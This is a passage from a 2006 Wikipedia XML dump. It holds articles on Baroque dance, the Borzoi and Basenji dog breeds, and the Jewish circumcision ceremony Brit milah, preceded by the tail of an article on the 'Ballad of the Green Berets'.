[[The Residents]] parodied the song on their ''[[Third Reich &amp; Roll]]'' album. Another parody was used on ''[[Saturday Night Live]]'' in [[1986]], &quot;Ollie North, The Mute Marine&quot; as a satire of [[Oliver North]] and his then-current refusal to speak up about his participation in the [[Iran-Contra Affair]].

[[Rhodesian]] singer-songwriter John Edmond recorded the &quot;Ballad of the Green Berets&quot; with reference to the soldiers of the [[Rhodesian Light Infantry]] (RLI), commando-style fireforce units of Rhodesian Security Forces who wore [[berets]] of [[green]] [[color]]. Also, in [[South Africa]], the &quot;Ballad of the Green Berets&quot; was recorded as the &quot;Ballad of the Maroon Berets&quot;. Maroon is the [[beret]]'s color of [[South African Special Forces Brigade]] and [[South African 44 Parachute Regiment]].
{{anthem-stub}}
==External links==
* [http://my.homewithgod.com/heavenlymidis/USA/beret.html Full lyrics with instrumental audio (HTML)]
*[http://www.allmusic.com/cg/amg.dll?p=amg&amp;sql=10:7uddylk2xpsb Track listings of the album &quot;Ballads of The Green Berets&quot; by Ssgt. Barry Sadler]

{{American songs}}

[[Category:Patriotic songs]]
[[Category:1966 singles]]
[[Category:Number one singles]]</text>
    </revision>
  </page>
  <page>
    <title>Baroque dance</title>
    <id>4763</id>
    <revision>
      <id>40632679</id>
      <timestamp>2006-02-21T23:24:45Z</timestamp>
      <contributor>
        <username>Insouciance</username>
        <id>302161</id>
      </contributor>
      <minor />
      <comment>Clean-up style</comment>
      <text xml:space="preserve">'''Baroque dance''' is [[dance]] of the [[Baroque]] era in [[Europe]] (roughly 1600–1750), closely linked with [[Baroque music]], theater and opera.

== English Country Dance ==

The majority of surviving choreographies from the period are [[English country dance]]s, such as those in the many editions of [[John Playford|Playford]]'s [[The Dancing Master]].  English country dance survived well beyond the Baroque era and eventually spread in various forms across Europe and its colonies, and to all levels of society.  See the article on [[English country dance]] for more information.

== French Baroque Dance ==

The great innovations in dance in the 17th-century originated at the French court under [[Louis XIV of France|Louis XIV]], and it is here that we see the first clear stylistic ancestor of [[classical ballet]].  The same basic technique was used both at social events, and as theatrical dance in court ballets and at public theaters.  The style of dance is now known to scholars as the ''French noble style'' or ''belle danse'' (French, literally &quot;beautiful dance&quot;), however the generic term ''Baroque dance'' is frequently understood to mean just the French style.  The French style was also adopted widely outside of France.

Over three hundred choreographies survive in [[Beauchamp-Feuillet notation]], as well as manuals by [[Raoul Auger Feuillet]] and [[Pierre Rameau]] in France, [[Kellom Tomlinson]] and [[John Weaver]] in England, and [[Gottfried Taubert]] in Germany.  This wealth of evidence has allowed modern scholars and dancers to recreate the style, although areas of controversy still exist.  The standard modern introduction is Hilton&lt;ref&gt;Hilton, Wendy, ''Dance and Music of Court and Theater: Selected Writings of Wendy Hilton'' (Pendragon Press, 1997) ISBN 094519398X&lt;/ref&gt;.

Many of the dance types of the French baroque are familiar from [[European classical music|classical music]]:
* [[Bourrée]]
* [[Canario (dance)|Canarie]] (canary)
* [[Chaconne]]
* [[Courante|(French) courante]]
* [[Entrée grave]]
* [[Forlane]] (forlana)
* [[Gavotte]]
* [[Gigue]]
* [[Loure]] (slow gigue)
* [[Minuet|Menuet]] (minuet)
* [[Musette]]
* [[Passacaglia|Passacaille]] (passacaglia)
* [[Passepied]]
* [[Rigaudon]]
* [[Sarabande]]
* [[Tambourin]]
The English, working in the French style, added their own [[hornpipe]] to this list.

== Other Styles ==

Other dance styles, such as the Italian and Spanish dances of the period are much less well studied than either English country dance or the French style.  The general picture seems to be that during most of the 17th-century, a style close to that of late [[Renaissance dance]] was widespread, but as time progressed, French ballroom dances such as the minuet were widely adopted at fashionable courts. Beyond this, the evolution and cross-fertilisation of dance styles is an area of ongoing research.  

== References ==
&lt;references/&gt;

[[Category:Historical dance]]
[[Category:Baroque art|Dance]]

[[fr:Danse baroque]]</text>
    </revision>
  </page>
  <page>
    <title>Borzoi</title>
    <id>4764</id>
    <revision>
      <id>39305800</id>
      <timestamp>2006-02-12T05:50:57Z</timestamp>
      <contributor>
        <username>Bdalzell</username>
        <id>921499</id>
      </contributor>
      <comment>/* Temperament */</comment>
      <text xml:space="preserve">&lt;!-- Begin Infobox Dogbreed.  The text of the article should go AFTER this section. See: --&gt;
&lt;!-- http://en.wikipedia.org/wiki/Wikipedia:WikiProject_Dog_breeds#Infobox_Dogbreed_template --&gt;
&lt;!-- for full explanation of the syntax used in this template. --&gt;
{{Infobox Dogbreed
| image = Borzoi 600.jpg
| image_caption = A Borzoi
| name = Borzoi
| altname = Barzoï &lt;br&gt; Russian Wolfhound  &lt;br&gt; Russkaya Psovaya Borzaya
| country = [[Russia]]
| fcigroup = 10
| fcisection = 1
| fcinum = 193
| fcistd = http://www.google.com/search?q=cache:0sxBCtiGa5YJ:www.fci.be/uploaded_files/193gb2001.doc+site:www.fci.be+%22193++/++02.+04.+2001+%22&amp;hl=en&amp;ie=UTF-8
| akcgroup = Hound
| akcstd = http://www.akc.org/breeds/borzoi/index.cfm
| ankcgroup = Group 4 (Hounds)
| ankcstd = http://www.ankc.aust.com/borzoi.html
| ckcgroup = Group 2 - Hounds
| ckcstd = http://www.canadasguidetodogs.com/hounds/borzoiarticle1.htm
| kcukgroup = Hound
| kcukstd = http://www.the-kennel-club.org.uk/discoverdogs/hound/h772.htm
| nzkcgroup = Hound
| nzkcstd = http://www.nzkc.org.nz/br424.html
| ukcgroup = Sighthounds and Pariah Dogs
| ukcstd = http://www.ukcdogs.com/breeds/sighthoundspariahs/borzoi.std.shtml
}}
&lt;!-- End Infobox Dogbreed info. Article Begins Here --&gt;

The '''Borzoi''' is a [[dog breeds|breed]] of [[dog]] also called the '''Russian [[Wolfhound]]'''. 
They have medium-length, slightly curly hair and are similar in shape to [[Greyhound]]s. They are a member of the [[sighthound]] family. 

==Appearance==
Borzois can come in almost any color or color combination. Their coat is silky, flat and should never be wooly. This breed is a large variety with males reaching in excess of 100 pounds (45 kg). Males should stand at least 28 inches while females shouldn't be less than 26 inches.

==Temperament==
The Borzoi is an intelligent, active dog. They are gentle with people and have good manners but sometimes are nervous around children and need to be reared with small children if they are to be the pet in a family which includes very small children. As seen in the United States, they are dogs used to pursue (course) game and they have a strong instinct to chase things that run from them. They do not have strong territorial drives compared to breeds such as Mastiffs and German Shepherds. They are not to be thought of as a &quot;fighting dog&quot;. They need a home with a fenced yard if automobile traffic is present within several miles of their home because their  instinct to chase such game as rabbits and squirrels can cause them to ignore the danger created by automobile traffic.

The Borzoi can be brutal against wolves and other wild canids. It is not generally territorially aggressive to other domestic dogs.  Borzoi will defend themselves against other breeds, but lacks the body weight and the strength to combat a [[mastiff]] or similar hefty breed. 

It is quite common for Borzois at play sometimes spontaneously join forces  and course (run down) another dog, seizing it by the neck and holding it immobile. Young pups do this with their littermates, trading off as to who is the prey. Older dogs will even do this with strange dogs in dog parks. It is a hunting behavior, not a fighting or territorial domination behavior.

== Health ==
The most common serious health problems are [[gastric torsion]] and cardiac problems including [[cardiomyopathy]] and [[cardiac arhythmia]] disorders. A controversy exists as to the presence of [[progressive retinal atrophy]] in the breed. A condition identified as Borzoi Retinopathy is seen in many individuals, usually active dogs, which differs from [[progressive retinal atrophy]] in several ways. Firstly, it is rarely seen in animals less than 3 years of age, secondly, a clear cut pattern of inheritance has not been demonstrated and finally, most affected individuals do not go blind.  

Life expectancy is 10 to 12 years, females usally living longer than males. Exceptional individuals have lived to be more than 16 years of age. Dogs that are physically fit and vigorous in their youth through middle age are more vigorous and healthy as elderly dogs, all other factors being equal.

==History==
[[Image:Borzoi.jpg|thumb|left|Borzois are also known as Russian Wolfhounds.]]
Tradition says that they were brought to [[Russia]] by [[Kublai Khan]]. Although this might be true, the original Borzoi stock was crossed with different Russian herding dogs, which explains the breed's ability to deal with [[wolf|wolves]]&amp;mdash;this was an important part of a [[herding dog]]'s work in the past, when wolves were more common.

Borzois were popular with the [[Tsar]]s before the [[Russian Revolution of 1917|1917 revolution]], and for a long time Borzois could not be purchased but only given as gifts from the Tsar. The most famous breeder was the Russian [[Grand Duke]] Nikolai Nikolaievich, (son of [[Nicholas I of Russia]]), who bred hundreds of Borzois at [[Perchino]], his private kennel. During Tsarist times, several varieties of wolfhounds were bred; however, after the revolution, many of the Tsarist breeds were neglected.

During that time, Russians also performed &quot;hunting tests&quot;, to show that Borzois could actually hold a wolf until the hunter arrived.  The wolf hunt itself was organized with riding hunters and [[Foxhound]]s on the Russian [[steppe]]. When the wolf was sighted, the hunter would release a pair of Borzois. The Borzois would charge the wolf, attack its neck from both sides, and hold it until the hunter arrived. The classical killing was by the human hunter with a knife.

==Miscellaneous==
A stylized Borzoi serves as the [[logo]] for the Knopf Publishing Group, an [[imprint]] of [[Random House]] publishers. [http://www.randomhouse.com/publishers/images/logo_kpg.gif]



[[Category:Dog breeds]]
[[Category:Sight hounds]]

[[de:Barsoi]]
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[[he:בורזוי]]
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  </page>
  <page>
    <title>Basenji</title>
    <id>4765</id>
    <revision>
      <id>40681486</id>
      <timestamp>2006-02-22T06:49:46Z</timestamp>
      <contributor>
        <username>That Guy, From That Show!</username>
        <id>419920</id>
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      <comment>[[WP:AWB|AWB assisted]] remove &quot;to do&quot; ancient egypt category</comment>
      <text xml:space="preserve">&lt;!-- Begin Infobox Dogbreed.  The text of the article should go AFTER this section. See: --&gt;
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{{Infobox Dogbreed
| image = Basenji 600.jpg
| image_caption = none
| name = Basenji
| altname = African Bush Dog &lt;br&gt; African Barkless Dog &lt;br&gt; Ango Angari &lt;br&gt; Avuvi &lt;br&gt; Congo Dog &lt;br&gt; Zande Dog
| country = [[Democratic Republic of the Congo]]
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| akcgroup = Hound
| akcstd = http://www.akc.org/breeds/basenji/index.cfm
| ankcgroup = Group 4 (Hounds)
| ankcstd = http://www.ankc.aust.com/basenji.html
| ckcgroup = Group 2 - Hounds
| ckcstd = http://www.canadasguidetodogs.com/hounds/basenjistd.htm
| kcukgroup = Hound
| kcukstd = http://www.the-kennel-club.org.uk/discoverdogs/hound/h766.htm
| nzkcgroup = Hounds
| nzkcstd = http://www.nzkc.org.nz/br408.html
| ukcgroup = Sighthounds and Pariah Dogs
| ukcstd = http://www.ukcdogs.com/breeds/sighthoundspariahs/basenji.std.shtml
}}
&lt;!-- End Infobox Dogbreed info. Article Begins Here --&gt;

The '''Basenji''' is a [[dog breeds|breed]] of [[dog]] and a member of the [[sighthound]] family. The basenji is a Congolese hunting dog that rarely, (if ever) barks, but does have an odd yodelling sound.  

== Appearance ==
Basenjis are small, elegant-looking, short-haired dogs with erect ears, tightly curled tail,
and graceful neck.  Some people equate their appearance to that of a
miniature [[deer]].  Their forehead is wrinkled, especially when young.
Eyes are typically almond shaped, which gives the appearance of
squinting with a serious look.  

Basenjis typically weigh around 20 to 24 pounds (9 to 11 kg) and stand about 17
inches (43 cm) tall at the [[withers]]. They are an athletic dog, and are deceptively
powerful for their size.  They have a graceful, confident gait like a trotting horse, and skim the ground in a &quot;double-suspension
gallop&quot; when running flat out at their considerable top speed.    

The [[American Kennel Club|AKC]] recognizes the following colorations: red/white,
black/white, tricolor (red/black/white), and brindle (black stripes on
a background of red)/white.  There are additional variations,
such as the &quot;trindle&quot;, which is a tricolor and brindle, and several
other colorations that remain in the [[Democratic Republic of the Congo]].

== Temperament ==
Like wild [[canids]], Basenjis don't bark.  They will, however, give the occasional single &quot;woof&quot;.  They will also chortle, whine, squeal, and make a Basenji-specific noise called a yodel or a baroo.  Also like wild canids, most Basenjis come into season only once a year, usually in the autumn.

Most Basenjis have a strong dislike for contact with water, and will go to great, and sometimes amusing, lengths to avoid getting wet.  On the other hand, they are extremely inquisitive dogs, and can temporarily be completely oblivious to the pouring rain if something piques their interest.

They are highly intelligent and learn quickly, but they also have a cat-like independence and &quot;self-motivation&quot; which can make them somewhat casual about obedience. A healthy Basenji is a mischievous and good-humored animal, and is not above testing the limits of its environment and owner just for sport. They can be aloof with strangers but form strong bonds with their owners. If not supervised or trained properly, Basenjis can become bored and destructive when left alone.  Basenjis are also expert climbers, and have been known to scale chain-link fences as much as eight feet high.

Extremely quick and fast on their feet, Basenjis love to run and chase, so much so that they are sometimes competitively raced in lure courses.  There are few creatures the Basenji is likely to encounter (including its owner!) that it does not believe it can either outwit or outrun.  This, combined with a virtually fearless approach to the world, make it a good idea not to allow a Basenji to run free in an unconfined area or where it may get into trouble.  Basenjis can be very good with children if raised around them, but may not have much patience for them otherwise.

== History ==
[[Image:Congo1.jpg|250px|thumb|left|Tri-colored Brindle]]
The Basenji is one of the most [[ancient dog breeds]]. 
Originating on the continent of [[Africa]], it has been venerated by humans for thousands of years. Basenjis can be seen on [[Stele|steles]] in the tombs of [[Ancient Egyptian|Egyptian]] [[pharaohs]], sitting at the feet of their masters, looking just as they do today, with prick ears and tightly curled tail.

The Basenji had almost totally disappeared from the West when Europeans came across it in the [[Democratic Republic of the Congo|Congo]] in [[1895]]. There, the Basenji was prized by locals for its intelligence, courage, speed, and silence. They were assistants to the hunt, chasing wild game into nets for their masters. The [[Azande]] and [[Mangbetu]] tribes from the northeastern Congo region describe Basenjis, in the local [[Lingala language]], as &quot;embwa na bwasenji&quot;.  Translated, this means &quot;dogs from when we were wild&quot; or &quot;dogs from long ago&quot;.    In [[Kiswahili]], an East African language closely related to Lingala, &quot;Mbwa shenzi&quot; translates to &quot;Wild Dog&quot;.  Another local name is &quot;M'bwa m'kube M'bwa wamwitu&quot;, or &quot;jumping up and down dog&quot;, a reference to their tendency to jump straight up to spot their quarry.

Several attempts were made to bring the breed to [[England]], but the earliest imports succumbed to disease. It was not until the 1930s that foundation stock was successfully established in England, and thence to the [[United States]]. So it is that nearly all the Basenjis in the western world are descended from these original imports. The breed was officially accepted into the AKC in 1943. For a fascinating account of the importation of the Basenji from Africa, read The History of the Breed[http://www.basenji.org/african/jone8908.htm], a letter to the AKC in support of opening the [[stud book]] to admit new African imports.  The AKC stud book was reopened to several new imports in 1990, at the request of the Basenji Club of America.

== Health ==
[[Image:Basenjipuppy.jpg|250px|thumb|right|Basenji puppy]]
Some Basenjis are prone to an inheritable kidney disorder called [[Fanconi syndrome]] [http://www.basenji.org/healthfanconi.htm (basenji.org)].  A Basenji with Fanconi syndrome usually begins to display symptoms after reaching the age of four.  Owners can test for Fanconi syndrome by checking for sugar in the urine.

Basenjis, along with certain other breeds of dog have been known to be carriers of a simple recessive gene which, when homozygous for the defect, causes [[hemolysis|genetic Hemolytic Anemia]] [http://www.basenji.org/healthha.htm (basenji.org)]. Most Basenjis today are descended from ancestors that have been tested clear.  When lineage from a fully tested line (set of ancestors) cannot be completely verified, the dog should be tested before breeding.  As this is a non-invasive DNA test, a Basenji can be tested for HA at any time.

As with other breeds of dog, Basenjis sometimes suffer from [[hip dysplasia]], resulting in loss of mobility and arthritis-like symptoms.

[[Malabsorption]], or immunoproliferative enteropathy, is an autoimmune intestinal disease  that leads to [[anorexia]], chronic [[diarrhea]], and even death.  Special diet can improve the quality of life for afflicted dogs.

The breed can also fall victim to [[progressive retinal atrophy]] (a degeneration of the retina causing blindness), and several less serious hereditary eye problems such as [[coloboma]], (a hole in the eye structure), and [[persistent pupillary membrane]] (tiny threads across the pupil).

== External links ==
*[http://www.basenjiclub.com/ Basenji Club of America (BCOA)]
*[http://www.bcosw.org/ Basenji Club of Southeastern Wisconsin]
*[http://www.basenjiclub.com/learn Learn about Basenjis]
*[http://www.basenjirescue.org/ Basenji Rescue &amp; Transport (BRAT)]

&lt;!--- en:Basenji ---&gt;

[[Category:Dog breeds]]
[[Category:Sight hounds]]

[[ast:Basenji]]
[[da:Basenji]]
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    </revision>
  </page>
  <page>
    <title>Brit milah</title>
    <id>4768</id>
    <revision>
      <id>40763233</id>
      <timestamp>2006-02-22T21:35:44Z</timestamp>
      <contributor>
        <username>Cmdrjameson</username>
        <id>101935</id>
      </contributor>
      <minor />
      <comment>Wikipedia URL→wikilink; wikilink with unneeded pipe</comment>
      <text xml:space="preserve">'''Brit milah''' ([[Hebrew language|Hebrew]]: ברית מילה literally: &quot;covenant [of] circumcision&quot;), also '''bris milah''' ([[Ashkenazi Jews|Ashkenazi]] pronunciation) is a religious [[ceremony]] within [[Judaism]] that welcomes infant [[Jew]]ish [[boy]]s into a [[covenant]] between [[Names of God in Judaism|God]] and the [[Children of Israel]] through ritual [[circumcision]] performed by a ''[[mohel]]'' (&quot;circumcisor&quot;) in the presence of family and friends, followed by a celebratory meal (''[[seudat mitzvah]]'').

[[Image:Göttingen-Beschneidungswerkzeuge.02.JPG|thumb|right|150px|Set of implements used in the performance of ''brit milah'', displayed in the [[Göttingen]] city museum]]

==Biblical origin==
{{main|Circumcision in the Bible}}

According to the [[Hebrew Bible]], in the [[Book of Genesis]] 17:1-14, circumcision was enjoined when [[Names of God in Judaism|God]] says &quot;Walk before Me and be perfect&quot; to the Biblical patriarch [[Abraham]] to be followed by his descendants as &quot;a token of the covenant&quot; concluded with him by God for all generations. It is also when his name is changed from &quot;Abram&quot; to &quot;Abraham&quot; by God:

:'' 'Abram was 99 years old. God appeared to him and said, 'I am God Almighty. Walk before Me and be perfect. I will make a covenant between Me and you, and I will increase your numbers very much.' Abram fell on his face. God spoke to him [again], saying, 'As far as I am concerned, here is My covenant with you: You shall be the father of a horde of nations. No longer shall you be called Abram. Your name shall become Abraham, for I have set you up as the father of a horde of nations. I will increase your numbers very, very much, and I will make you into nations - kings will be your descendants. I will sustain My covenant between Me and between you and your descendants after you throughout their generations, an eternal covenant; I will be a God to you and to your offspring after you. To you and your offspring I will give the land where you are now living as a foreigner. The whole land of Canaan shall be [your] eternal heritage, and I will be a God to [your descendants].' God [then] said to Abraham, 'As far as you are concerned, you must keep My covenant - you and your offspring throughout their generations. This is My covenant between Me, and between you and your offspring that you must keep: You must circumcise every male. You shall be circumcised through the flesh of your foreskin. This shall be the mark of the covenant between Me and you. 'Throughout all generations, every male shall be circumcised when he is eight days old. [This shall include] those born in your house, as well as [slaves] bought with cash from an outsider, who is not your descendant. [All slaves,] both houseborn and purchased with your money must be circumcised. This shall be My covenant in your flesh, an eternal covenant. The uncircumcised male whose foreskin has not been circumcised, shall have his soul cut off from his people; he has broken My covenant.' '' Genesis 17:1-14[http://bible.ort.org/books/pentd2.asp?ACTION=displaypage&amp;BOOK=1&amp;CHAPTER=17]

As well as in [[Leviticus]] 12:3: 

:''On the eighth day, [the child's] foreskin shall be circumcised.'' [http://bible.ort.org/books/pentd2.asp?ACTION=displaypage&amp;BOOK=3&amp;CHAPTER=12] 

The penalty of non-observance was ''karet'', &quot;excision&quot; from the people as noted in Genesis 17:14. Conversion to Judaism for non-Israelites in Biblical times necessitated circumcision otherwise one could not partake in the [[Passover]] offering ([[Exodus]] 12:48) or marry into a Jewish family (Genesis 34:14-16).

==History==

The original form of circumcision practiced by Jews has traditionally existed since the time of [[Abraham]]. The rite of ''milah'', initially consisted of cutting off only the tip of the foreskin, the part that extends past the [[glans]] in the normal male infant. A more extensive form, involving ''periah'' (clearing the glans) was commenced after the giving of the Torah at Mount Sinai.

Two thousand years ago, Jewish hellenists, wanting to assimilate into Greek society, obliterated the sign of their circumcisions by finding ways to lengthen them, to make it look as if they had not been circumcised at all. This practice was unacceptable to the Jewish community at large.

==Reason==

As with many commandments, the Torah gives no specific reason why the covenant had to be remembered through circumcision.

The [[1st century]] Jewish philosopher [[Philo]] stated that circumcision &quot;represents the excision of the pleasure of sex, which bewitches the mind&quot;. A similar view is voiced by the [[12th century]] Jewish scholar [[Maimonides]] once argued that one of the purposes of the Brit milah was to reduce sexual behavior and to weaken the sexual bond between man and woman ([[Guide for the Perplexed]] part III, chapter 49).

==Kvatter==

The name of ''Kvatter'' among [[Ashkenazi Jews]] is for the person who carries the baby from the mother to the [[mohel]]. The origins of the term are not clear, but it is likely to be a [[Yiddish language|Yiddish]] erroneous combination of the words &quot;Kavod&quot; (&quot;honor&quot; in [[Hebrew language|Hebrew]]) and &quot;Tier&quot; (&quot;door&quot; in Yiddish), meaning &quot;The person honored by bringing the baby&quot;. The traditional custom is to honor as the ''Kvatter'' a young newly-wed couple (without children of their own yet) as a merit for having a baby. The young woman (''Kvatterin'') carries the baby from the mother and then hands it over to her husband.

==Metzitzah==
Alternately spelled ''mezizah'', mean &quot;suction&quot;.

===By mouth===
''Metzitzah b'peh'' (&quot;suction by mouth&quot;) is a [[Halakha|Halakhic]] practice in [[Haredi]] and [[Hasidic]] circles in which the [[mohel]] has mouth-to-genital contact during ritual circumcision of baby boys. After the ''mila'', the ''mohel'' then sucks the baby's penis once to draw blood, much in the same fashion as medical science once prescribed for snakebite. The ''mohel'' spits the blood into a receptacle provided. Afterwards the circumcised penis is bandaged, and the operation considered complete.

Some have feared that the practice may spread diseases to the babies from the mohel's mouth (such as [[herpes]]), but most ''mohelim'' are aware of this and ensure that their mouths are sanitized and washed out by rinsing with [[ethanol|alcohol]] to disinfect the mouth. However, controversy arose in [[New York City]] when health officials announced that in December of 2005 that they suspected that two infants who underwent the procedure had been infected with herpes and that one of them had subsequently suffered brain damage. As the of the date of this writing, Jan/2006, there has been no confirmation that the mohel was the source of these infections. [http://select.nytimes.com/2006/01/09/nyregion/09matters.html?8hpib]  The foundation for the ritual of metzitzah b’peh is found in Mishnah Shabbat 19:2, which lists metzitzah b’peh as one of the four steps involved in the circumcision rite. The Chatam Sofer observed that the Mishnah states that the rationale for this part of the ritual was hygienic — i.e., to protect the health of the child. He also cited a passage in Nedarim 32a as a warrant for the position that metzitzah b’peh was not an obligatory part of the circumcision ceremony.

As a result of these texts, the Chatam Sofer contended that Jewish tradition instituted metzitzeh b’eh solely to prevent danger to the infant and stated that metzitzah b’peh was not a required part of the circumcision ceremony.
[http://www.thejewishweek.com/top/editletcontent.php3?artid=4591]

===By tube===

Most ''mohels'' have given up on the traditional practice of direct contact. The [[Modern Orthodox Judaism|Modern Orthodox]] way is a modified procedure in which a tube separates the penis of the baby and the mouth of the rabbi, so the rabbi's mouth does not have direct contact with the baby's penis.
In addition three studies in Israel Canada and the United States have documented 11 cases of genital herpes.
1)Rubin LG, Lanzkowsky P. Cutaneous neonatal herpes simplex infection associated with ritual circumcision. Pediatric Infectious Diseases Journal. 2000. 19(3) 266-267.

2)Distel R, Hofer V, Bogger-Goren S, Shalit I, Garty BZ. Primary genital herpes simplex infection associated with Jewish ritual circumcision. Israel Medical Association Journal. 2003 Dec;5(12):893-4

3)Gesundheit B, Grisaru-Soen G, Greenberg D, Levtzion-Korach O, Malkin D, Petric M, Koren G, [[Moshe David Tendler#Brit milah|Tendler MD]], Ben-Zeev B, Vardi A, Dagan R, Engelhard D. Neonatal genital herpes simplex virus type 1 infection after Jewish ritual circumcision: modern medicine and religious tradition. [http://pediatrics.aappublications.org/cgi/content/full/114/2/e259? 2004. Pediatrics. 114(2):259-63]

== Conversion and exceptions ==

A ''Brit milah'' could be circumvented with ''Dam Brit'', or foregone altogether with a ''Milah L'Shem Giur'':

=== Hatafat dam brit ===
Medical circumcision alone, in the absence of the brit milah ceremony, does not fulfill the requirements of the mitzvah. In the case of a Jew who was circumcised outside of a brit milah, or an already-circumcised convert, the mohel draws a symbolic drop of blood from the penis.

''Hatafat dam brit'' (''[[Hebrew language|heb.]]'' [[w:he:הטפת דם ברית|דם ברית]] &quot;Drop of the blood [of the] Covenant&quot;) refers to the fulfillment of the ''[[mitzvah]]'' of a ''brit milah''.

====Blood====
A [[brit milah]] is not considered complete unless blood is actually drawn.  This is not the intentional spilling of blood, as [[genital integrity|circumcision opponents]] might allege.  The standard medical methods of [[circumcision]] through constriction do not meet the requirements of the [[halakhah]] for brit milah, because they cause [[hemostasis]], ''i.e.'', they stop the flow of blood.  A brit milah, to be conducted properly, requires the use of a specialized surgical knife, called an ''[[wiktionary:Izmel|izmel]]'', which does allow for ''dam brit''.

Unlike the traditional Jewish method, when circumcision is performed by a [[urologist]] or other surgeon the foreskin is removed by constriction, either with the use of clamps or a synthetic ring.  This non-Jewish method works by crushing the skin until it is severed. The nerve endings and the blood vessels are severed in the same manner, causing pain and hemeostasis.

====Role in conversion====
There are reasons not to perform a circumcision when a man has [[Ger tzedek|converted to Judaism]].  A circumcision is not possible if a convert was already circumcised prior to conversion, or if he has a medical condition (such as [[hemophilia]]) which would cause a circumcision to potentially endanger his life.  In these situations, a brit milah can not be performed, and instead a single drop of blood is extracted, in a practice called ''hatafat dam brit'' (Heb. הטפת דם ברית).

=== Milah l'shem giur ===
*A ''Milah L'shem giur'' (&quot;Circumcision for [the eventual] purpose of conversion&quot;) is a private [[brit milah]] that is a &quot;conditional act&quot;:
**If anyone else is present, other than the biological parents and the ''[[beth din]]'', it is considered &quot;in front of the community&quot; and invalid.
**It does not have to be performed on a particular day, though it would be considered surgical malpractice (in the US) for the [[mohel]] to perform a circumcision after the child is 30 days old.
**The child is not [[who is a Jew?|technically Jewish]], and does not receive a [[Hebrew name]].
**This is usually performed for a boy whose mother has not converted, but with the intention that the child be raised Jewish.  Should the mother convert, and if the boy has not yet reached his third birthday, the child may be immersed in the [[mikveh]] with the mother, after the mother has already immersed, to become Jewish. If the mother does not convert, or did not immerse in the [[mikveh]], or the boy was too old, then the child may choose of their own accord to become Jewish as a [[Bar Mitzvah]].
**At [[Bar Mitzvah]], if a ''Milah l'shem giur'' had been performed when the boy was an infant, it would remove the obligation to undergo either a full [[brit milah]] or ''hatafat dam brit''.
**If the mother does not convert to Judaism, the child may be immersed in a mikveh, or body of natural waters, to complete the child's conversion to Judaism.  This can be done before the child is even one year old.  This conversion of a child to Judaism without the conversion of the mother is allowed by [[halakha]] (&quot;Jewish law&quot;), but only under the condition that the child be raised as a Jew in a single-faith household.  Technically the conversion is valid until the boy reaches the age of 13.  At that time he has the option of renouncing his conversion and Judaism, and the conversion will then be considered invalid.  If he does not make such a statement it is accepted that the boy is halakhically Jewish.

==Social context==

According to the [[Hebrew Bible]], it was &quot;a reproach&quot; for an [[Israelite]] to be uncircumcised ([[Book of Joshua|Joshua]] 5:9.)  The name ''arelim'' (&quot;uncircumcised&quot; [plural]) is used opprobriously, denoting the [[Philistines]] and other non-Israelites ([[Books of Samuel|I Samuel]] 14:6, 31:4; II Samuel 1:20) and used synonymously with ''tameh'' (unclean) for heathen ([[Book of Isaiah|Isaiah]] 52:1). The word ''arel'' (&quot;uncircumcised&quot; [singular]) is also employed for &quot;unclean&quot; ([[Leviticus]] 26:41, &quot;their uncircumcised hearts&quot;; compare [[Book of Jeremiah|Jeremiah]] 9:25; [[Book of Ezekiel|Ezekiel]] 44:7,9); it is even applied to the first three years' fruit of a tree, which is forbidden ([[Leviticus]] 19:23).

However, the Israelites born in the wilderness after the [[Exodus]] from Egypt reportedly did not practice circumcision. As recorded in [[Book of Joshua|Joshua]] 5:2-9, &quot;all the people that came out&quot; of [[Ancient Egypt|Egypt]] were circumcised, but those &quot;born in the wilderness&quot; were not. Therefore Joshua, before the celebration of the [[Passover]], had them circumcised at Gilgal.

[[Deuteronomy]] 10:16 says: &quot;Circumcise the foreskin of your heart,&quot; suggesting that ethical acts (among people) are as important as spiritual acts (between people and God). The prophetic tradition emphasizes that God expects people to be good as well as pious, and that non-Jews will be judged based on their ethical behavior. Thus, Jeremiah 9:25-26 says that circumcised and uncircumcised will be punished alike by the Lord; for &quot;all the nations are uncircumcised, and all the house of Israel are uncircumcised in heart.&quot;

==Recent views==
===Historical view===
Recent historians maintain that the &quot;limited&quot; form of circumcision, with only the removal of the tip of the prepuce, was actually practiced up to the time of the Syrian-Greek occupation, when the procedure was extended to make it impossible for men to &quot;undo&quot; their circumcision. There is no basis for this view in classical [[Rabbinical literature|rabbinic sources]], which state that the &quot;extended&quot; form of circumcision was introduced at Mount Sinai.

===The anti-circumcision movement===
The anti-circumcision movement has not made significant inroads into any of the Jewish denominations. However, a small number of contemporary Jews choose to not circumcise their sons. They are assisted by a small number of [[Reform Judaism|Reform]] and [[Reconstructionist Judaism|Reconstructionist]] rabbis, and have developed a welcoming ceremony that they call the ''Brit Shalom'' (&quot;Covenant [of] Peace&quot;) for such children.

This ceremony is not officially approved of by the Reform or Reconstructionist rabbinical organizations. Rabbis in these movements strongly recommend circumcision for all male infants, and for all men who converted into Judaism. In contrast with [[Orthodox Judaism]] and [[Conservative Judaism]], these former liberal denominations generally have made this a strong &quot;recommendation&quot; as opposed to an &quot;obligation&quot; (or &quot;requirement&quot;). Reform and Reconstructionist Judaism have often accepted medical circumcisions performed by doctors as sufficient to fulfill the commandment of ''brit milah''. However, in recent years these movements have began stressing the religious and ritual nature of circumcision and have begun training their own experts (''[[mohel|mohalim]]'') in this ritual.

In [[Israel]] there are several secular groups that advocate against or supply information that is critical of circumcision.

==See also==
*[[Circumcision in the Bible]]
*[[Zeved habat]] (welcoming ceremony for girls)
*[[Redemption of First-born]] (''Pidyon ha-ben'')

==External links==
===Sources that favor the brit milah===
*[http://judaism.about.com/library/3_lifecycles/bris/blbrit.htm Jewish Ritual Circumcision] (About.com)
*[http://www.jewishvirtuallibrary.org/jsource/Judaism/circumcision.html Circumcision] (Jewish Virtual Library)
*[http://aish.com/literacy/lifecycle/bris_milah_beautiful_or_barbaric$.asp Bris milah - Beautiful or barbaric?] (Aish.com)
* [http://www.chabad.org/article.asp?AID=144122 Brit Milah - Ritual Circumcision in Judaism] (Chabad.org)
* [http://www.rabbinicalassembly.org/teshuvot/docs/19861990/reisner_conversion.pdf Review of rabbinic sources and responsa on converting minors to Judaism by Rabbi Avram Reisner]
*[http://www.act-now.org/ Advocating Circumcision Today] - A pro-circumcision site containing details about the ceremony of Brit Milah and its history.
*[http://www.circlist.com/rites/bris.html Circlist.org]- A pro-circumcision site with a cultural examination of a bris.

===Sources against or warning about the brit milah===
*[http://www.jewishcircumcision.org Jewish Circumcision.org] - An anti-circumcision site that advocates for Jews to abandon the Brit Milah.
